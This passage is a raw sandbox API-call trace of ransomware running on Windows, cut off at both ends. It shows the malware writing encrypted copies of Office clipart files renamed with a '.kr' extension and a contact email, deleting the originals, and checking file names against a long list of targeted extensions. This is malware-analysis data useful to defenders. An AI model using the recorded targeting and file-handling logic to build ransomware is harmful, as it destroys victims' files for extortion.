lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x30a0, lpOverlapped=0x0) returned 1 [0217.421] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.421] WriteFile (in: hFile=0x51c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0217.421] SetEndOfFile (hFile=0x51c) returned 1 [0217.421] CloseHandle (hObject=0x51c) returned 1 [0217.421] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.421] SetEndOfFile (hFile=0x564) returned 1 [0217.425] CloseHandle (hObject=0x564) returned 1 [0217.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0217.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.426] lstrlenW (lpString=".doc") returned 4 [0217.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString=".docx") returned 5 [0217.427] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.427] lstrlenW (lpString=".pdf") returned 4 [0217.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString=".xls") returned 4 [0217.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.427] lstrlenW (lpString=".xlsx") returned 5 [0217.427] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.427] lstrlenW (lpString=".ppt") returned 4 [0217.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.427] lstrlenW (lpString=".zip") returned 4 [0217.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.427] lstrlenW (lpString=".rar") returned 4 [0217.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString=".bz2") returned 4 [0217.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString=".7z") returned 3 [0217.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.427] lstrlenW (lpString=".dbf") returned 4 [0217.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.427] lstrlenW (lpString=".1cd") returned 4 [0217.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.427] lstrlenW (lpString=".jpg") returned 4 [0217.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.427] lstrlenW (lpString=".doc") returned 4 [0217.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.428] lstrlenW (lpString=".docx") returned 5 [0217.428] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.428] lstrlenW (lpString=".pdf") returned 4 [0217.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.428] lstrlenW (lpString=".xls") returned 4 [0217.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.428] lstrlenW (lpString=".xlsx") returned 5 [0217.428] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.428] lstrlenW (lpString=".ppt") returned 4 [0217.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.428] lstrlenW (lpString=".zip") returned 4 [0217.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.428] lstrlenW (lpString=".rar") returned 4 [0217.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.428] lstrlenW (lpString=".bz2") returned 4 [0217.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.428] lstrlenW (lpString=".7z") returned 3 [0217.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.428] lstrlenW (lpString=".dbf") returned 4 [0217.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.428] lstrlenW (lpString=".1cd") returned 4 [0217.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0217.428] lstrlenW (lpString=".jpg") returned 4 [0217.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.428] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.429] lstrlenW (lpString="J0152610.WMF") returned 12 [0217.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.524] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5960) returned 1 [0217.525] CloseHandle (hObject=0x51c) returned 1 [0217.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220 [0217.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0218.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0218.071] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0218.071] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0218.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 51 os_tid = 0xe5c [0174.918] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x43f0058 [0174.919] lstrlenW (lpString="C:") returned 2 [0174.919] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3b3fcf8 | out: lpFindFileData=0x3b3fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x43a340 [0174.919] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0174.919] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0174.919] lstrlenW (lpString="$GetCurrent") returned 11 [0174.919] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0174.919] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0174.919] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0174.919] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x43a380 [0174.920] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0174.920] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0174.920] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0174.920] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0174.920] lstrlenW (lpString="Logs") returned 4 [0174.920] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0174.920] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0174.920] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0174.920] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0174.921] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.921] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc27ffedd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc27ffedd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc282618c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DOWNLE~1.KR")) returned 1 [0174.921] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr") returned 75 [0174.921] lstrlenW (lpString=".1cd") returned 4 [0174.921] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0174.921] lstrlenW (lpString=".3ds") returned 4 [0174.921] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0174.921] lstrlenW (lpString=".3fr") returned 4 [0174.921] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0174.921] lstrlenW (lpString=".3g2") returned 4 [0174.921] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0174.921] lstrlenW (lpString=".3gp") returned 4 [0174.921] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".7z") returned 3 [0174.922] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0174.922] lstrlenW (lpString=".accda") returned 6 [0174.922] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0174.922] lstrlenW (lpString=".accdb") returned 6 [0174.922] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0174.922] lstrlenW (lpString=".accdc") returned 6 [0174.922] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0174.922] lstrlenW (lpString=".accde") returned 6 [0174.922] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0174.922] lstrlenW (lpString=".accdt") returned 6 [0174.922] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0174.922] lstrlenW (lpString=".accdw") returned 6 [0174.922] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0174.922] lstrlenW (lpString=".adb") returned 4 [0174.922] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".adp") returned 4 [0174.922] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".ai") returned 3 [0174.922] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0174.922] lstrlenW (lpString=".ai3") returned 4 [0174.922] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".ai4") returned 4 [0174.922] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".ai5") returned 4 [0174.922] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".ai6") returned 4 [0174.922] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".ai7") returned 4 [0174.922] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".ai8") returned 4 [0174.922] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0174.922] lstrlenW (lpString=".anim") returned 5 [0174.922] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0174.922] lstrlenW (lpString=".arw") returned 4 [0174.923] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".as") returned 3 [0174.923] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0174.923] lstrlenW (lpString=".asa") returned 4 [0174.923] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".asc") returned 4 [0174.923] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".ascx") returned 5 [0174.923] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0174.923] lstrlenW (lpString=".asm") returned 4 [0174.923] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".asmx") returned 5 [0174.923] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0174.923] lstrlenW (lpString=".asp") returned 4 [0174.923] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".aspx") returned 5 [0174.923] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0174.923] lstrlenW (lpString=".asr") returned 4 [0174.923] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".asx") returned 4 [0174.923] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".avi") returned 4 [0174.923] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".avs") returned 4 [0174.923] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".backup") returned 7 [0174.923] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0174.923] lstrlenW (lpString=".bak") returned 4 [0174.923] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".bay") returned 4 [0174.923] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0174.923] lstrlenW (lpString=".bd") returned 3 [0174.923] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0174.923] lstrlenW (lpString=".bin") returned 4 [0174.923] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".bmp") returned 4 [0174.924] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".bz2") returned 4 [0174.924] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".c") returned 2 [0174.924] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0174.924] lstrlenW (lpString=".cdr") returned 4 [0174.924] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".cer") returned 4 [0174.924] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".cf") returned 3 [0174.924] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0174.924] lstrlenW (lpString=".cfc") returned 4 [0174.924] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".cfm") returned 4 [0174.924] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".cfml") returned 5 [0174.924] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0174.924] lstrlenW (lpString=".cfu") returned 4 [0174.924] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".chm") returned 4 [0174.924] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".cin") returned 4 [0174.924] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".class") returned 6 [0174.924] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0174.924] lstrlenW (lpString=".clx") returned 4 [0174.924] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".config") returned 7 [0174.924] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0174.924] lstrlenW (lpString=".cpp") returned 4 [0174.924] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".cr2") returned 4 [0174.924] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0174.924] lstrlenW (lpString=".crt") returned 4 [0174.925] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".crw") returned 4 [0174.925] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".cs") returned 3 [0174.925] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0174.925] lstrlenW (lpString=".css") returned 4 [0174.925] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".csv") returned 4 [0174.925] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".cub") returned 4 [0174.925] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dae") returned 4 [0174.925] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dat") returned 4 [0174.925] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".db") returned 3 [0174.925] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0174.925] lstrlenW (lpString=".dbf") returned 4 [0174.925] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dbx") returned 4 [0174.925] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dc3") returned 4 [0174.925] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dcm") returned 4 [0174.925] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dcr") returned 4 [0174.925] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".der") returned 4 [0174.925] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dib") returned 4 [0174.925] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dic") returned 4 [0174.925] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0174.925] lstrlenW (lpString=".dif") returned 4 [0174.925] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".divx") returned 5 [0174.926] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0174.926] lstrlenW (lpString=".djvu") returned 5 [0174.926] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0174.926] lstrlenW (lpString=".dng") returned 4 [0174.926] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".doc") returned 4 [0174.926] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".docm") returned 5 [0174.926] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0174.926] lstrlenW (lpString=".docx") returned 5 [0174.926] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0174.926] lstrlenW (lpString=".dot") returned 4 [0174.926] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".dotm") returned 5 [0174.926] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0174.926] lstrlenW (lpString=".dotx") returned 5 [0174.926] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0174.926] lstrlenW (lpString=".dpx") returned 4 [0174.926] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".dqy") returned 4 [0174.926] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".dsn") returned 4 [0174.926] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".dt") returned 3 [0174.926] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0174.926] lstrlenW (lpString=".dtd") returned 4 [0174.926] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".dwg") returned 4 [0174.926] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".dwt") returned 4 [0174.926] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0174.926] lstrlenW (lpString=".dx") returned 3 [0174.926] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0174.926] lstrlenW (lpString=".dxf") returned 4 [0174.927] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".edml") returned 5 [0174.927] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0174.927] lstrlenW (lpString=".efd") returned 4 [0174.927] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".elf") returned 4 [0174.927] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".emf") returned 4 [0174.927] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".emz") returned 4 [0174.927] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".epf") returned 4 [0174.927] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".eps") returned 4 [0174.927] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".epsf") returned 5 [0174.927] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0174.927] lstrlenW (lpString=".epsp") returned 5 [0174.927] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0174.927] lstrlenW (lpString=".erf") returned 4 [0174.927] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".exr") returned 4 [0174.927] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".f4v") returned 4 [0174.927] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".fido") returned 5 [0174.927] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0174.927] lstrlenW (lpString=".flm") returned 4 [0174.927] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".flv") returned 4 [0174.927] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".frm") returned 4 [0174.927] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0174.927] lstrlenW (lpString=".fxg") returned 4 [0174.927] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".geo") returned 4 [0174.928] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".gif") returned 4 [0174.928] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".grs") returned 4 [0174.928] lstrcmpiW (lpString1=".grs", 